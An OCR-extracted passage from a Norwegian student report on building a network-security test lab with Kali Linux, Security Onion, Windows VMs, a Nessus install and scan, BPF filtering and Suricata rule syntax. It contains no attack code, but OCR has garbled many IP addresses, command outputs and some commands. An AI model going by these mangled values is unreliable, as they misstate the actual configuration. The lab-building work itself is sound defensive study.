adapter, VirtualBox Host-Only Ethernet adapter. Adapteren vil da dukke opp inne pa Kali-

maskinen som en ethernet-tilkobling.

22 Kali Linux - Settings

B General
& | System
- Display
w Storage
(P Audio
‘-7 Network

;_) Serial Ports

(¥ use

Shared Folders

T | User Interface

Network

Adapter 1 Adapter 2
Enable Network Adapte
Attached to:

Name:

7 Advanced

Adapter Type:
Promiscuous Mode:

MAC Address:

Adapter 3 Adapter 4

Host-only Adapter

VirtualBox Host-Only Ethernet Adapter

Intel PRO/1000 MT Desktop (82540EM)
Deny

0800272DC615
Cable Connected

Port Forwarding
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IP-adressen pa Kali-maskinen gnsker vi a stille inn til 10.0.0.3, da det var dette vi spesifiserte
i designrapporten. Vi gar dermed inn pa nettverksinnstillingene til maskinen og endrer ethO-
grensesnittet til 4 ha 10.0.0.3 som statisk ipv4-adresse, samt at vi deaktiverer ipve.

Nettverksinnstillingene til Kali-maskinen ser da slik ut:

= )= =]
L, ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.3 netmask 255.255.255.0 broadcast 10.0.0.255
ether 08:00:27:2d:¢c6:15 txqueuelen 1000 (Ethernet)

RX packets 81 bytes 11777 (11.5 KiB)

RX errors 0 dropped @ overruns 0 frame 0

TX packets 13 bytes 1016 (1016.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Nettverksoppsett i Security Onion

Nettverksoppsettet til Security Onion-maskinen er noe mer komplisert, da denne skal veere
koblet til to nettverksgrensesnittkontrollere. Et grensesnitt skal brukes til administrasjon, og
et grensesnitt skal vaere i promiskugs modus for & fange opp pakkestrammene i nettverket.
Adapter 1, som er den nettverksgrensesnittkontrolleren vi skal bruke til administrasjon,
kobler vi til Host-only Adapter-nettverket vi konfigurerte tidligere. Ettersom vi allerede har
gitt denne adapteren pa Security Onion-maskinen den statiske IP-adressen 10.0.0.2 (i henhold
til designrapporten) i installasjonen av Security Onion, trenger vi ikke endre dette na.

Network

Adapter 1 Adapter 2 Adapter 3 Adapter 4
Enable Network Adapter
Attached to: Host-only Adapter =

Name: VirtualBox Host-Only Ethernet Adapter

[» Advanced

Adapter 2 er den nettverksgrensesnittkontrolleren som skal konfigureres i promiskugs modus,
og sniffe opp pakkestrammene. Vi ma derfor endre innstillingene pa den i VirtualBox til
“Allow All” for “Promiscuous Mode”. Her kan det vere greit 4 merke seg at

nettverksgrensesnittkontrolleren er koblet til samme adapter (VirtualBox Host-Only Ethernet
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Adapter) som det adapter 1 er. Dette er rett og slett fordi det er trafikken i dette nettverket

som vi er interessert i a fange opp.

Network

Adapter 1 Adapter 2 Adapter 3 Adapter 4
Enable Network Adapter
Attached to:  Host-only Adapter -
Name: VirtualBox Host-Only Fthernet Adapter

v Advanced

Adapter Type:  Intel PRO/1000 MT Desktop (82540EM)

Promiscuous Mode:  Allow All
MAC Address: 080027F0ACDS
Cable Connected

Port Forwarding

Nettverksoppsett i Windows 10

| likhet med Kali-maskinen skal Windows 10-maskinen kun vare koblet til en

nettverksgrensesnittkontroller I VirtualBox, nemlig VirtualBox Host-Only Ethernet Adapter:
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Network

Adapter 1 Adapter 2 Adapter 3 Adapter 4
Enable Network Adapter
Attached to: Host-only Adapter -

Name: VirtualBox Host-Only Ethernet Adapter

[» Advanced
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Vi gjer pa nytt som vi gjorde med Kali-maskinen og tildeler Windows-maskinen 1P-
konfigurasjon i henhold til designrapporten. Som man kan se pa bildet under er Windows 10-

maskinen koblet til et nettverksgrensesnitt, og ip-adressen (10.0.0.4) er tildelt statisk, samt at
ipv6 er deaktivert.

C:\Users\Administrator>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
IPv4 Address.

Subnet Mask .

Default Gateway .

Nettverksoppsett i Windows 7

I likhet med Kali og Windows 10-maskinen skal Windows 7-maskinen kun veere koblet til en

nettverksgrensesnittkontroller I VirtualBox, nemlig VirtualBox Host-Only Ethernet Adapter.

Network
Adapter 1 Adapter 2 Adapter 3 Adapter 4
Enable Network Adapter
Attached to: Host-only Adapter =
Name: VirtualBox Host-Only Ethernet Adapter
[> Advanced

Windows 7-maskinen har i utgangspunktet ikke en IP-adresse, ettersom den i utgangspunktet
ikke var tiltenkt. Vi velger derfor & gi den adressen 10.0.0.5 nar vi konfigurerer nettverket. Til
slutt verifiserer vi sa nettverksadressen til Windows 7-maskinen:

Ethernet adapter Local Area Connection:
Connection—specific DHNS Suffix

Subnet Mask . . . . .

255 _255.255.8
Default Gateway . . .

i8.8.8.1

1Pv4 Address. . . . . . . - 19.9.0.5
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Verifisering av nettverk

Vi kan gjgre noen enkle tester for a se og kontrollere at nettverkskonfigurasjonen har blitt
gjort riktig, og fungerer etter hensikt. Her verifiserer vi dette ved a bruke kommandoen
“ping” for & se om maskinene far kontakt med hverandre i nettverket. Pa de maskinene hvor
det skal veere mulig @ kommunisere med hverandre, forventer vi a fa svar fra ping. Vi gnsker
ikke at “ping” skal kjere suksessfullt mellom maskiner som etter arkitekturen ikke skal ha
kontakt med hverandre. Man kan ogsa kjere en “traceroute” kommando, for & undersgke
tilkoblingene ytterligere. Dersom man far andre svar enn man forventer i dette leddet, kan det

vaere en indikator pa at noe ikke har blitt gjort riktig under konfigurasjonen.

Her benytter vi oss av Windows 10-maskinen nar vi gjar ping-tester. Dette kommer av at
standard brannmurinnstillinger i Windows i utgangspunktet ikke tillater ping-foresparsler, og
at vi da ikke ville kunne verifisert tilkoblingen til Windows-maskinen dersom vi for eksempel

brukte Kali-maskinen.

Vi kan her se at Windows 10-maskinen far kontakt med Kali-maskinen:

s of data:

) om
nly from 16
; from 16.

¢ from 1€

Minimum
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ime=1ms
time=1ms
ime=1ms
time=1ms

4, Lost =
in milli-
Ims, Awe
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Vi kan her se at Windows 10-maskinen far kontakt med SO-maskinen:

C:\Users\Administrator>ping 16.8.8.2

Pinging 18.8.8.2 \ ata:
Reply from 16.6.8.2: o 5 time=2m TTL=Eﬂ
Reply from 16.8.8.2: 2 time=1ms TTL=64
Reply from 10.8.6.2 time=1ms TTL=64
teply from 10.6.8.2: by 2 time=3ms TTL=64

for 16.8.6.2:
7 t = 4, Received =
Approximate round trip times in mllll—«er nds:
Minimum = 1ms, Maximum = 3ms, Averag 2

Under ser vi at vi far “Request timed out” nér vi forseker a «pinge» IP-adressen 10.0.0.1

(Windows Server 2019). Dette er forventet, og fungerer etter hensikt.

C:\Users\Administrator>ping 16.8.8.1

Pinging 18.08.8.1 with 32 bytes of data:
Request timed out.
st timed out.
out.

= @, Lost = 4 (1e0%

Til slutt kan vi se at Windows-10 maskinen ogsa far kontakt med Windows 7-maskinen (dette

er mulig ettersom brannmuren pa Windows 7-maskinen var skrudd av pa dette tidspunktet):

g 18.0.0.5 wi 2 by f data
; from 18.86.8.5: by flme=%m
y from 18.6.8.5: by time=9ms
; from 186.8.8.5: time=1ms

F 2 time=1ms

for 16.8.8.5:
4 Rereined

Hlnlmum = 1m;, Haﬁlmun = 9ms,
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3. Konfigurasjon av testmiljget

| dette segmentet vil vi gjennomga den viktigste konfigurasjonen vi har gjennomfart i
testmiljget. Dette er konfigurasjon som har gjort arbeidet med testmiljeet enklere og mer
effektivt, men samtidig ogsa arbeid som har veert helt sentralt for at vi skal kunne oppna de
resultatene vi gnsker. Denne konfigurasjonen er inndelt i to punkter. Det fagrste punktet
beskriver konfigurasjonen av det ferste virtualiseringslaget, og det andre punktet beskriver

felgende det andre virtualiseringslaget.

3.1 Konfigurasjon av farste virtualiseringslag

Det har blitt gjennomfart mye konfigurasjon i arbeidet med det forste virtualiseringslaget.
Hensikten med denne konfigurasjonen har i stor grad veert a gjgre arbeidet med testmiljget
enklere og mer effektivt. | dette segmentet vil vi gjennomga store deler av konfigurasjonen vi
har gjennomfart. Det starter farst med en beskrivelse av hvordan vi har brukt SSH til &
arbeide med Security Onion-maskinen. Videre beskrives det hvordan vi har koblet oss til
webgrensesnittet til Security Onion over HTTPS. Til slutt beskrives arbeidet med SCP, far
alle tilkoblingene mellom farste og andre virtualiseringslag presenteres for a skape en god

forstaelse av resultatet av konfigurasjonen.

3.1.1 Tilkobling til Security Onion (SSH)

Alt arbeid som utfares i Security Onion, blir gjort utelukkende kommandobasert i terminalen.
Ved a koble seg til denne maskinen gjennom VirtualBox, er det ungdvendig mye friksjon i
styringen. Dette gar pa bekostning av blant annet responsivitet, og det kan av og til oppsta
“input”-lag. En mer hensiktsmessig mate a utfere arbeid i denne maskinen pa, er & opprette
en SSH-tilkobling (Secure Shell) fra Windows Server-maskinen hvor det er minst friksjon.
En annen viktig fordel med a arbeide pa denne maten, er at Windows Server-maskinen tillater
flere paloggede brukere i parallell, og dermed kan begge deltakere i prosjektgruppen opprette

hver sin SSH-forbindelse herfra, og arbeide parallelt.

SSH fungerer i utgangspunktet ikke like optimalt i CMD som det gjar fra en Linux terminal,
og vi har derfor benyttet oss av programvaren “PuTTY”, for & oppné bedre resultater med

tilkoblingen. Denne programvaren har vi hatt god erfaring med a bruke fra Windows-
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maskiner under prosjektarbeidet. PUTTY gir ogsa korrekte fargekoder pa outputen i

terminalen, noe som gker leshbarheten betraktelig i en del tilfeller.

Et annet aspekt som har veert en viktig fordel med a benytte SSH-tilkoblinger i dette arbeidet,

har veert at input-konfigurasjonen som brukes i kommandoskallet kommer fra maskinen det
kjares pa. Dermed slipper man a konfigurere dette manuelt fra maskinen man kobler seg til,
slik at det matcher eget tastatur-layout. VVersjonen for Security Onion som har blitt benyttet
under dette prosjektet har dessuten ikke hatt iboende stgtte for norsk tastatur, og det ville

dermed vert kronglete a kjere denne maskinen fra et VirtualBox-vindu.

3.1.2 Tilkobling til Security Onions Webgrensesnitt (HTTPS)

Security Onion genererer mye informasjon og data som en del av funksjonaliteten. Dette
prosjektet bygger i stor grad pa nettopp denne dataen, og analyse og inspeksjon av den. Selv
om arbeid knyttet til & gjgre justeringer pa hvilken informasjon som blir behandlet, og hvilke
kriterier (bl.a. regler) som ligger bak dette, gjeres i konfigurasjonsfiler pa selve maskinen,
bruker vi andre verktgy for a se pa outputen. Dette kommer av at det er sa store mengder data
som blir produsert, at det er svaert hensiktsmessig a benytte seg av andre verktay for a
behandle dette.

| var implementasjon av Security Onion kobler vi blant annet dataen som blir generert til
sekemotoren “Elasticsearch”. Videre benyttes blant annet datavisualiseringspanelet “Kibana”

for & utave funksjoner og visualiseringer med utgangspunkt i innholdet som er indeksert i
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Elasticsearch-klynger. I tillegg brukes “Grafana” som visualiseringsverktey for annen type

informasjon i tilknytning til sensorer, som for eksempel pakketap og ressursbruk.

Disse verktgyene tilgjengeliggjeres med et grafisk brukergrensesnitt, som aksesseres i
lokalnettet gjennom nettleseren, via en HTTPS-forbindelse til Security Onion-verten.
Security Onion har et eget dashbord som er tilgjengelig her, hvorav ogsa Kibana og Grafana
er tilgjengeliggjort, i tillegg til andre verktey som “TheHive”, “CyberChef”, “Fleet”,
“Playbook” og “Navigator” (dette gar vi gjennom i sterre detalj i punkt 4.3.4). Bildet under

viser hvordan dashbordet til Security Onion ser ut:

@ Security Onion X {9 Evaluation Mode - sohost O urity on - Home - Elastic X

< C ® © & https//10.0.0.2/#/

Security @nion

Overview .
Overview
Alerts

Security Onion 2.3.30 is here!
s Zeek is now at version 3.0.13.
PCAP yberChef is now at version 9.27 2.
omponents are now at version 7.10.2. This is the last version that uses the Apache license.
Grid Suricata is now at version 6.0.1
Salt is now at version 3 5
Suricata metadata parsing is now vastly improved.
* | you choose Suricata for metadata parsing, it will now extract files from the network and send them to Strelka. You can add
additional mime types
= It is now possible to filter Suricata events from being written to the logs. This is a new Suricata & feature. We have included
some examples
Kibana » The Kratos docker container will now perform DNS lookups locally before reaching out to the network DNS provider.
« Network configuration is now more compatible with manually configured OpenVPN or Wireguard VPN interfaces.
Grafana » EEEEEesrEmy will no longer spawn multiple instances.
» Suricata eve.json logs will now be cleaned up after 7 days. This can be changed via the pillar setting.
» Fixed a security issue where the backup directory had improper file permissions.
Playbook * The automated backup script on the manager now backs up all keys along with the salt configurations. Backup retention is
now set to 7 days.
Fleet » Strelka logs are now being rotated property.
« Elastalert can now be customized via a pillar.
TheHive s Introduced new script that allows the user to easily add interfaces to the bond for monitoring.
* Setup now validates all user input fields to give up-front feedback if an entered value is invalid.
* There have been several changes to improve install reliability. Many install steps have had their validation processes

Hunt

Downloads

Administration

CyberChef

Navigator

Pa grunn av maten vi har konfigurert nettverket pa, kan vi opprette denne HTTPS-
forbindelsen med Security Onion-maskinen fra Windows Server-maskinen, og benytte oss av
dashbordet gjennom nettleseren. Det er for gvrig darlig stette for dette med Internet Explorer,
men prosjektgruppen har hatt god erfaring med & benytte seg av nettleseren FireFox til dette

formélet. A bruke vertsmaskinen i det forste virtualiseringslaget til dette formélet har veert

Side 37 av 118

Side 139 av 221



Driftsrapport Oppgavenummer 44 @ NTNU

sveert hensiktsmessig, bade i tilknytning til responsivitet og muligheten for at flere brukere

kan veere tilkoblet samtidig.

3.1.3 Overfaring av filer mellom virtualiseringslag (SCP)

En stor del av arbeidet med testmiljget handler om & importere PCAP-filer inn til Security
Onion-maskinen, for & pa den maten etterligne nettverkstrafikk. Maten dette foregar pa (blir
gjennomgatt i sterre detalj i punkt 4.2) er at man ferst laster ned en fil fra internett, for sa a
kjere en kommando pa filen inne i Security Onion. Dette er i utgangspunktet ikke mulig,
ettersom det andre virtualiseringslaget ikke er koblet til internett, og det er her vi finner
relevante PCAP-filer. Derfor ma vi finne en mate a overfare filer fra Windows Server 2019

(som er koblet til internett) til Security Onion pa en rask og effektiv mate.

Den enkleste maten a gjore dette pa er a benytte seg av “Secure Copy”-protokollen fra
ledetekstvinduet (CMD) i Windows Server 2019. Dette fungerer forsa vidt greit, men vi fant
fort ut av at ikke var en sarlig effektiv mate a overfere filer pa, da vi matte starte en ny
tilkobling hver gang vi skulle overfare en fil, noe som var veldig tidkrevende. Vi fant derfor
ut at det var hensiktsmessig & benytte seg av programmet WinSCP
(https://winscp.net/eng/download.php). Programvaren tilbyr en mer effektiv mate a overfgre

filer pa, blant annet ved bruk av SCP-protokollen. Vi oppretter ogsa her en forbindelse, men i
motsetning til SCP fra ledetekstvinduet sa blir ikke tilkoblingen tatt ned igjen etter
overfarselen av en fil/flere filer er ferdig. Vi kan dermed overfgre flere filer over en spredt
tidsperiode uten & matte bruke tid pa a kjgre flere SCP-tilkoblinger.
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Bildet under viser et eksempel pa en tilkobling vi har gjort fra Windows Server 2019
(10.0.0.1) til Security Onion (10.0.0.2) i forbindelse med overfaring av PCAP-filer.

"W, soadmin - s0admin@10.0.0.2 - WinSCP - O X
Local Mark Files Commands Session Options Remote Help
(Bl % [z synchronize Bl !;F" [ “&* =¥ Queue ~  Transfer Settings Default - -
[ soadmin@10.0.0.2 X i New Session
pe-EF-H-aaad -~ s-B-0-:aEad -
i E® Download ~ x gf v
CAPCAP\ /home/soadmin/
Name v Size Type Name - Size Changed
- . Parent directory || + .. 3/17/2021 3:41:|
"I nodeoni_sohost_1024... 3,305 KB Wireshark captu| Ppcap; 4/8/2021 9:07:1¢
71 2020-06-12-traffic-an... 6,410 KB Wireshark captul| SecurityOnion 3/17/2021 2:58:]
< > | < >
0B of 9.48 MBin 0 of 2 0Bof0Bin0of2 4 hidden
E] SCP 0:52:51

3.1.4 Arbeid mellom farste og andre virtualiseringslag

Som vi har veert innom tidligere er det av flere grunner hensiktsmessig a arbeide i det andre
virtualiseringslaget fra Windows Server 2019-maskinen. Dette er bade av hensyn til parallelt
arbeid og internettilgang, men ogsa effektivitet, da det i mange tilfeller gar kjappere. Med
kommandoen fra ledetekstvinduet pa Windows Server 2019 kan vi finne frem alle
de etablerte tilkoblingene mellom Windows Server 2019-maskinen (farste
virtualiseringslaget) og det andre virtualiseringslaget (vil primaert veere til Security Onion:
10.0.0.2).

ESTABLISHED
ESTABLISHED
ESTABLISHED

ESTABLISHED
ESTABLISHED

Som vi ser pa bildet over er det fem tilkoblinger mellom Windows Server 2019-maskinen
(10.0.0.1) og Security Onion (10.0.0.2). Dette er da to SSH-tilkoblinger gjennom PuTTY, en
SCP-tilkobling med WinSCP (SCP overfgrer over SSH), samt to tilkoblinger over HTTPS
(Security Onion Dashbord og Kibana ). Vi kan her se at tilkoblingene kjares over forskjellig

avsenderport, og derfor er muliggjort til tross for samme mottakerport og mottakeradresse.
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3.2 Konfigurasjon av andre virtualiseringslag

| arbeidet med det andre virtualiseringslaget har det blitt gjennomfart mye konfigurasjon, og
det mest sentrale blir gjengitt i denne seksjonen. Inndelingen av konfigurasjonen som har blitt
gjennomfart, er basert pa de forskjellige maskinene som utgjer det andre virtualiseringslaget.
Det er Security Onion-maskinen som i sterst grad er konfigurert, og som i starst grad blir
gjennomgatt her. Dette skyldes at det ikke er gjort store endringer inne pa Kali og Windows-

maskinene.

3.2.1 Konfigurasjon av Kali Linux

| utgangspunktet er Kali forhandskonfigurert med det meste av programvare og funksjonalitet
vi trenger. Det er likevel en programvare som ikke er installert pa Kali, som vi vil benytte oss
av i testmiljget. Dette er en sarbarhetsskanner som heter Nessus, og som blant annet kan finne
sarbarheter i operativsystemer, nettverksenheter, databaser, webservere og annen kritisk
infrastruktur. Nessus vil vi bruke til & finne sarbarheter i Windows-maskinene, som vi

falgende utnytter for & se pa hvordan det utspiller seg pa nettverksniva.

3.2.1.1 Sérbarhetsskanneren Nessus

Installasjonen av Nessus starter med at vi finner programvaren og laster ned denne fra
Internett.

https://www.tenable.com/downloads/nessus?loginAttempted=true

Vi finner her riktig versjon som er konfigurert for Kali Linux, og laster ned denne. Ettersom
Kali ikke er koblet til Internett, ma vi gjare dette fra Windows Server 2019-maskinen, for sa a
overfgre filen til Kali.

Videre benytter oss sa av g}l for & installere programmet pa Kali:

| ( ) - [~/Downloads ]
sudo dpkg Nessus-8.14.0-debian6_amd64.deb

[sudo] password for kaliadmin:
Selecting previously unselected package nessus.

(Reading database ... 267921 files and directories currently installed.)
Preparing to unpack Nessus-8.14.0-debian6 amd64.deb .

Unpacking nessus (8.14.0)

Setting up nessus (8.14.0)
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Nar installasjonen er ferdig, aktiverer vi og starter opp tjenesten tilknyttet programmet med

[elyInElllealsudo systemctl enable nessusd && sudo systemctl start nessud

~/Downloads |

sudo s L enable nessusd sudo sy mctl start nessusd
Created symlink /etc/systemd/system/nessusd.service - /lib/systemd/system/nessusd.service.
Created symlink /etc/systemd/system/multi-user.target.wants/nessusd.service -» /lib/systemd/system/nessusd.service.

Vi sjekker sa statusen pa tjenesten for a sjekke at alt er i orden med kommandoen

systemctl status nessusdy

( - [~/Downloads ]
—$ sudo systemctl status nessusd
® nessusd.service - The Nessus Vulnerability Scanner
Loaded: loaded (/lib/systemd/system/nessusd.service; enabled; vendor preset: disabled)
Active: active (running) since Tue 2021-05-04 09:39:49 CEST; 39s ago
Main PID: 1937 (nessus-service)
Tasks: 12 (limit: 19130)
Memory: 127.3M
CPU: 39.026s
CGroup: /system.slice/nessusd.service
1937 /opt/nessus/sbin/nessus-service -q
1938 nessusd -q

May 04 09:39:49 kali systemd[1l]: Started The Nessus Vulnerability Scanner.

For & fortsette installasjonen og oppsettet av Nessus, gar vi na inn pa nettverksplasseringen
10.0.0.3:8834 (Kali sin adresse gjennom port 8834) gjennom Firefox. Vi far da opp en

installasjonsveiledning.

( Ynessus

Welcome to Nessus

Choose how you want to deploy Nessus. Select a
product to get started.

) Nessus Essentials

@ Nessus Professional
@ Nessus Manager

@ Managed Scanner

Continue
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Vi benytter oss av gratisversjonen Nessus Essentials, da denne er god nok for vart formal.
Denne versjonen limiterer eksempelvis til at man kun kan skanne 16 verter, noe som igjen er

mer en nok for vart formal.

Vi velger offline registrering, ettersom vi ikke har nettverkstilgang pa Kali. For a fortsette
oppsettet, og falgende installere programvaretilleggene (som inneholder de nyeste
sarbarhetene), trenger vi en aktiveringskode, samt at vi ma hente en kode som ligger inne i

filene til Nessusprogrammet vi allerede har installert.

Register Nessus

Enter your activation code.

Activation Code *

Register Offline

To get a license key, visit the
site and enter the following challenge code:

f185a120aaac1b27cefac273f777b5f0311313cc

Nessus License Key *

Settings Continue

Aktiveringskoden far vi av a registrere en gratisbruker pa hjemmesiden til Tenable (de som
tilbyr Nessus) for & motta en aktiveringskode, samt ved & kjgre kommandoen
e e RV Eglels i stien /opt/nessus/sbin for & motta den andre ngkkelen:

/opt/nessus/sbin
fetch

Challenge code: fl85al20aaaclb27cefac273f777b5f0311313cc

You can copy the challenge code above and paste it alongside your
Activation Code at:
https://plugins.nessus.org/v2/offline.php
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Vi gar sa inn pa nettsiden deres for a benytte de to kodene for a generere en lisens, samt for &

laste ned programvaretilleggene:

Generate a license for Nessus 6.3 and Later

To generate a license for an older version of Nessus click here.

On your nessusd server, run 'nessuscli fetch --challenge' and copy the result here:
‘f185.31205aac1b27cefac273f777b5f0311313cc |

Enter your activation code here:
| GSKE-DKNL-3FYJ-QXM7-4XCV |

Installasjonsveilederen fortsetter sa ved at vi fyller inn den nylig genererte lisensen (pa bildet

pa forrige side). Nessus vil na gjere de siste installasjonsforberedelsene.

( Ynessus

Initializing
Please wait whil ssus prepares the files needed

to scan your assets

Compiling plugins...
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Omsider er installasjonen ferdig, og Nessus er nesten Klar til bruk. Vi ma riktignok importere
de nyeste programvaretilleggene som vi lastet ned fra nettsiden deres. Dette gjgres under
«Settings» a «Sofware Update» a «Manual Software Update». Bildet under viser en oversikt

over Nessus, og hvordan det ser ut ferdig konfigurert.

y 1| MSFU & Exploit-DB # GHDB

My Scans Import New Folder

Et alternativ til 4 falge denne fremgangsmaten er & koble Kali til internett, for fglgende a

gjennomfgre hele installasjonsprosessen derifra. Installasjonen vil da ta noe kortere tid.

Vi gjennomfarer helt til slutt en enkelt «host-scan» i nettverket. Dette gjar vi for a verifisere
at Nessus fungerer etter hensikt. Skanningen er standardkonfigurert og ser slik ut (trykker pa

«New Scan» og «Host Discovery» for a starte skanningen):

New Scan / Host Discovery
< Back to Scan Templates
Settings Plugins
BASIC v
MNarme Host Discovery
General
Schedule o
Description
Motifications
DISCOVERY
REPORT Folder My Scans -
ADVANCED
Targets 10.0.0.0/24
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Vi kjerer sa denne skanningen, og far falgende resultater:
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Host Discovery

< Back to My Scans

Hosts S Vulnerabilities

Filter =

2

Ports

135, 139, 445, 49152, 49153, 49154, 49155, 49156, 48158

135, 139, 445, 45664, 49665, 496066, 49667, 436638, 49669, 49670

VPR Top Threats

-
(]
et

e

History

1

Vi kan da se at alle maskinene i nettverket ble oppdaget, og pa denne maten far vi bekreftet at

Nessus fungerer som det skal, og er Klar til senere bruk.
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3.2.2 Konfigurasjon av Security Onion

Konfigurasjon av Security Onion er helt essensielt for at testmiljget skal fungere pa en
effektiv mate, og det er flere sentrale handlinger vi har gjennomfart i forbindelse med dette.
Konfigurasjonen av Security Onion inn i fire deler, der vi fgrst gjennomfarer en verifisering
av at ting fungerer som de skal. Videre gjennomgér vi SRIlen, som er en sentral kommando
i arbeidet med Security Onion. Ellers gjennomgar vi konfigurasjon av Berkeley Package
Filters, og deres rolle, far vi til slutt gjennomgar konfigurasjon av signaturbasert
nettverksdeteksjon gjennom Suricata.

3.2.2.1 Verifisering av installasjonen

Underveis i arbeidet med Security Onion, kan det vaere lurt & utfare tester for a verifisere at
ting kjarer og fungerer som det skal. Dette er serlig relevant a gjare bade far og etter
endringer i konfigurasjoner eller annet finner sted. Pa den maten kan man spare tid og jobbe
mer malrettet i en eventuell feilsgkingsprosess, og forsikre seg om at ting blir gjort pa en
korrekt mate. Ogsa dersom man oppdager feil eller mangler i funksjonaliteten av systemet, er
det sveert nyttig & ha en oversikt over hva man kan gjere for a verifisere at ulike aspekter

fungerer etter hensikt, og dermed gradvis redusere potensielle feilkilder.

For eksempel kan vi sjekke at alle tjenester er oppe og Kjarer ved a kjgre kommandoen

BEWE. Da far vi en oversikt over alle tjenestene, og status pa de, som output. Under ser vi et

lite utdrag av denne outputen, kort tid etter oppstart av maskinen:
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Etter hvert skal alle tjenestene vise status “ok”, noe som er en indikasjon pa at distribusjonen

fungerer som den skal.

Ved a kjere kommandoen SUo[eREIRRREN Al kan vi ogsa sjekke at Security Onion-
distribusjonens noder fungerer som de skal. Status for dette kommer i form av en boolean-

verdi per node:

[soadmin@sohost ~15 sudo salt S= test.ping
[sudo] password for soadmin:

=ohost_ewal:

3.2.2.2 So-allow

Security Onion blokkerer i utgangspunktet alle utenforstaende tilkoblingsforsgk mot
brukergrensesnittet i nettverket. Siden det er sveert hensiktsmessig for var arbeidsmetodikk a
benytte vertsmaskinen i Azure til & undersgke og gjgre analytisk arbeid i dette dashbordet,
gnsker vi a justere konfigurasjonen slik at IP-adressen til denne maskinen er et unntak fra
denne regelen. Dette kan vi oppné ved & bruke kommandoen. Her kjgrer vi
for & &pne for tilkobling fra denne maskinen (dette kan ogsé gjeres allerede i
selve installasjonen av Security Onion):
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Na skal det kun veere mulig a gjare tilkoblinger mot dette grensesnittet fra vertsmaskinen i
Azure (10.0.0.1) og localhost i Security Onion-maskinen (127.0.0.1). Vi kan verifisere dette
ved & kjore ST R I aNE, Og ser at vi fir bekreftet dette som output:

3.2.2.3 Berkeley Package Filter (BPF)

Det er ikke all nettverkstrafikken som passerer sensoren (nettverksgrensesnittkontrolleren i
promiskugs modus) i testmiljget vi er interesserte i a fange opp. Et eksempel pa dette er
trafikken som gar mellom Windows Server 2019 og Security Onion i forbindelse med
administrasjon av Security Onion. Slik trafikk vi vaere med pa a skape mye ungdvendig stay i
arbeidet med testmiljget, bade fordi det vil kunne produsere ungdvendige varsler/logger, men
ogsa fordi det vil ta opp deler av kapasiteten (ressursene) til Security Onion. | tillegg til dette
vil vi ogsa bruke opp lagringsplass helt ungdvendig til 4 logge disse strammene. Av den
grunn er det viktig at vi klarer a filtrere bort de uinteressante pakkene i pakkestrammen. En
mate & lgse dette problemet pa, er & benytte seg av Berkeley Package filters (BPF-er), og det

er dette vi har gjort i testmiljget.

BPF en teknologi som brukes av programmer som analyserer nettverkstrafikk. Teknologien
brukes av de fleste Unix-systemer, og muliggjer at en enhet kan motta alle pakkene som
passerer nettverket enheten er koblet til (gitt at nettverkgrensesnittkontrolleren til enheten
statter promiskugs modus). Med BPF-er har man ogsa muligheten til a filtrere hvilke pakker

man ikke gnsker & motta.

For & legge til BPF-er i Security Onion mé man gé inn i “global.sls”-filen som ligger inne i
“/opt/so/saltstack/local/pillar”, for sa a legge til BPF-konfigurasjonen med riktig syntaks i
bunnen av dokumentet. “Global.sls”-filen er for gvrig en fil der man kan implementere en
rekke konfigurasjon som vil gjelde for hele Security Onion-distribusjonen, og ikke bare en

enkelt sensor.
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Man kan sa konfigurere hvilke pakker man gnsker eller ikke gnsker & motta. Bildet under

viser BPF-regler som vi har satt:

Konfigurasjonen gjar slik at vi hverken lagrer PCAP-er (Steno), produserer varsler (Suricata)
eller produserer nettverkslogger (Zeek) for alle pakker som har 10.0.0.1 eller 10.0.0.2 som
enten avsender eller mottaker av en IP-pakke. Grunnen til at vi gjar dette er at vi i testlaben
kun er interessert i trafikken som gar mellom 10.0.0.3 (Kali Linux) og 10.0.0.4 (Windows),
samt IP-adresser fra importerte PCAP-filer (som etter all sannsynlighet ikke er 10.0.0.1 eller
10.0.0.2). Ellers er det verdt & nevne at BPF-konfigurasjonen vi satte her vil gjelde for alle
sensorer tilknyttet Security-Onion distribusjonen, selv om det i vart tilfelle bare vil gjelde den

ene sensoren vi har.
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Etter at vi har lagt til BPF-ene ma vi omstarte tjenestene for at endringene skal bli tilfayd.

Maéten vi gjer dette pé er ved & kjare og RN R, og vi kan falgende
se at SO vil svare med at endringer har blitt implementert. Disse operasjonene tar vanligvis

relativt lang tid.

Etter at vi har gjort dette vil vi ikke lenger fa opp ugnsket trafikk (som definert i BPF-ene) i
systemet (SO-dashbordet, Kibana osv..).

3.2.2.4 Konfigurasjon av regler (i Zeek og Suricata)

Vi vil her gjennomga konfigurasjon av regler for henholdsvis Suricata og Zeek, som er helt

sentralt for & fange opp det som skjer pa nettverket.

Suricata

Det finnes flere forskjellige fremgangsmater for & konfigurere regler i Security Onion. Det vi
benytter oss av i dette prosjektet er et innebygd rammeverk i Security Onion (so-rule), som
skal gjennomgas senere i denne seksjonen. Men man kunne ogsa valgt andre
fremgangsmater, som for eksempel ved a redigere regelfilen direkte. Reglene som vi setter er
signaturbaserte, og det er programvaren Suricata som gjennomgar trafikken og knytter den
opp mot de gitte reglene, for sa a varsle mistenkelig nettverkstrafikk. Far vi skal gjennomga
hvordan man konfigurerer regler, er det naturlig & se pa hvordan en regel i Suricata fungerer.
Et eksempel pa en regel i Suricata er som falger (vilkarlig regel hentet fra Emerging Threats

Open), og regelen vil fglgende gjennomgas.

Bildet under viser en regel (signatur) som er konfigurert i Suricata.
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Syntaksen starter med “Alert”, som tilsier at Suricata skal produsere et varsel dersom denne
regelen (signaturen) stemmer overens med signaturen i en nettverkspakke.

Videre kommer “ tcp SEXTERNAL_NET any -> SHOME_ NET 21”. Dette er “headeren” i
regelen, og definerer rammer for nar regelen forekommer. | Dette eksempelet vil regelen
kunne utlgses dersom det forekommer en tcp-pakkes som har en avsender utenfor
hjemmenettet (definert i global.sls-filen nevnt i punkt 3.2.2.3 under navnet”
global:hnmanager”), en hvilken som helst port som avsender, og port 21 som mottaker i

hjemmenettet.

Til slutt kommer en seksjon med regelopsjoner (resten av syntaksen). Ved bruk av disse
opsjonene kan man lage komplekse regler (signaturer). Opsjonene i bildet over starter med
“msg”, som gir en tekstlig beskrivelse av hva regelen omhandler. Videre settes det en ramme
for at pakken ma komme fra en etablert tcp-seksjon (flow:established). Det settes sa en rekke
flere opsjoner, far det vises til en link til reglenes dokumentasjon. Ellers kan man se at
